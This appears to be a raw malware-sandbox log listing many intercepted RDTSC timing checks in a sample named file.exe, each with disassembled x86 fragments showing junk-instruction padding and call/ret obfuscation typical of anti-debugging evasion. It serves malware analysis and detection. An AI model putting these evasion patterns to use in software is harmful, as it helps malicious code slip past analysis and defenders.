Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC9FD second address: 13DCA31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jmp 00007F1760BC2CD9h 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCA31 second address: 13DCA3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCA3E second address: 13DCA43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCA43 second address: 13DCA58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d jnp 00007F176074C07Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCA58 second address: 13DCAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push 00000000h 0x00000008 push ecx 0x00000009 call 00007F1760BC2CC8h 0x0000000e pop ecx 0x0000000f mov dword ptr [esp+04h], ecx 0x00000013 add dword ptr [esp+04h], 0000001Dh 0x0000001b inc ecx 0x0000001c push ecx 0x0000001d ret 0x0000001e pop ecx 0x0000001f ret 0x00000020 mov ecx, edx 0x00000022 mov edx, esi 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F1760BC2CC8h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000016h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 push ebx 0x00000041 mov ecx, dword ptr [ebp+122D3758h] 0x00000047 pop edi 0x00000048 push ecx 0x00000049 mov dh, 0Ch 0x0000004b pop esi 0x0000004c ja 00007F1760BC2CCCh 0x00000052 push 00000000h 0x00000054 mov edi, dword ptr [ebp+122D3828h] 0x0000005a push 00000003h 0x0000005c jo 00007F1760BC2CC8h 0x00000062 mov cl, dh 0x00000064 push B709661Eh 0x00000069 pushad 0x0000006a jmp 00007F1760BC2CD3h 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCCD1 second address: 13DCD3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnl 00007F176074C076h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F176074C082h 0x00000015 jmp 00007F176074C07Bh 0x0000001a popad 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F176074C078h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov edi, dword ptr [ebp+122D3738h] 0x0000003c push 00000000h 0x0000003e mov dh, AEh 0x00000040 push 8F1B8C55h 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 jp 00007F176074C076h 0x0000004e push esi 0x0000004f pop esi 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCD3B second address: 13DCD41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCD41 second address: 13DCDAF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F176074C076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 70E4742Bh 0x00000013 xor edi, dword ptr [ebp+122D3808h] 0x00000019 push 00000003h 0x0000001b mov ecx, dword ptr [ebp+122D39ECh] 0x00000021 push 00000000h 0x00000023 mov esi, dword ptr [ebp+122D3858h] 0x00000029 push edi 0x0000002a push eax 0x0000002b mov esi, dword ptr [ebp+122D3A0Ch] 0x00000031 pop edi 0x00000032 pop esi 0x00000033 push 00000003h 0x00000035 jng 00007F176074C08Ch 0x0000003b push D101CD13h 0x00000040 jo 00007F176074C092h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F176074C080h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DCDAF second address: 13DCDB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB359 second address: 13FB362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB4AF second address: 13FB4BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB4BD second address: 13FB4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB4C6 second address: 13FB4D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB4D5 second address: 13FB4DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB4DA second address: 13FB4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB4E3 second address: 13FB4E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB4E7 second address: 13FB4EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB8FC second address: 13FB902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FB902 second address: 13FB906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FBE9A second address: 13FBED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F176074C08Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F176074C086h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FBED7 second address: 13FBEE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jnc 00007F1760BC2CC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FBEE8 second address: 13FBEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC03F second address: 13FC052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1760BC2CCCh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC052 second address: 13FC058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC058 second address: 13FC08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F1760BC2CCCh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jc 00007F1760BC2CE6h 0x00000018 jmp 00007F1760BC2CD2h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC08C second address: 13FC092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EFEF9 second address: 13EFF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 je 00007F1760BC2CCCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF0F2 second address: 13CF133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007F176074C07Bh 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pushad 0x00000012 jng 00007F176074C078h 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F176074C07Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF133 second address: 13CF13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCBE8 second address: 13FCBED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCBED second address: 13FCC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F1760BC2CCEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCC04 second address: 13FCC08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD01A second address: 13FD024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1760BC2CC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD339 second address: 13FD353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C07Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F176074C076h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FD353 second address: 13FD357 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403F00 second address: 1403F2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C082h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F176074C081h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1404329 second address: 140432F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1405A07 second address: 1405A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BCC50 second address: 13BCC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1760BC2CC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1408E90 second address: 1408E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jo 00007F176074C076h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140901B second address: 1409021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140916B second address: 1409171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409171 second address: 1409175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409175 second address: 140917B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1409480 second address: 140948D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C46F second address: 140C498 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F176074C07Ch 0x00000008 js 00007F176074C076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xor dword ptr [esp], 52F47941h 0x00000017 mov si, E657h 0x0000001b push 43A436CCh 0x00000020 push edi 0x00000021 push eax 0x00000022 push edx 0x00000023 jc 00007F176074C076h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C7F1 second address: 140C7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C7F9 second address: 140C7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C9DD second address: 140C9E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CA75 second address: 140CA79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CA79 second address: 140CA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CBBD second address: 140CBC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CBC3 second address: 140CBC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CBC9 second address: 140CBCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140CC9D second address: 140CCBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1760BC2CD8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D1A2 second address: 140D1D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007F176074C076h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F176074C086h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D1D0 second address: 140D1F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b movsx edi, cx 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F1760BC2CC8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D2CB second address: 140D2D5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F176074C076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D7AE second address: 140D7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D7B2 second address: 140D7F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F176074C078h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F176074C078h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a mov esi, dword ptr [ebp+122D3704h] 0x00000030 mov esi, ebx 0x00000032 push eax 0x00000033 push ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140E73E second address: 140E744 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140F74E second address: 140F7F4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F176074C088h 0x00000008 jmp 00007F176074C082h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F176074C078h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a jc 00007F176074C07Bh 0x00000030 mov esi, 702BEB76h 0x00000035 jmp 00007F176074C07Ch 0x0000003a push 00000000h 0x0000003c mov si, B199h 0x00000040 push 00000000h 0x00000042 or esi, 788A8D84h 0x00000048 xchg eax, ebx 0x00000049 push ecx 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d pop edx 0x0000004e pop ecx 0x0000004f push eax 0x00000050 pushad 0x00000051 jo 00007F176074C08Dh 0x00000057 jmp 00007F176074C087h 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F176074C087h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141016C second address: 141017E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F1760BC2CC6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141017E second address: 14101F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F176074C078h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 movsx edi, bx 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F176074C078h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 jmp 00007F176074C088h 0x00000048 xchg eax, ebx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14101F0 second address: 14101F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14101F4 second address: 141020C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F176074C07Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141020C second address: 1410211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410BE9 second address: 1410BF2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410C6A second address: 1410C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410C70 second address: 1410C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14121DC second address: 14121E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411FFE second address: 1412008 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F176074C07Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412E34 second address: 1412E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1415785 second address: 141578B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1415D4C second address: 1415DBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F1760BC2CC8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D2D03h], eax 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F1760BC2CC8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 mov edi, dword ptr [ebp+122D37A8h] 0x0000004f xchg eax, esi 0x00000050 jc 00007F1760BC2CD8h 0x00000056 push eax 0x00000057 push edx 0x00000058 js 00007F1760BC2CC6h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416003 second address: 1416009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416F14 second address: 1416F18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416009 second address: 141600D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418CEA second address: 1418CFE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F1760BC2CC8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
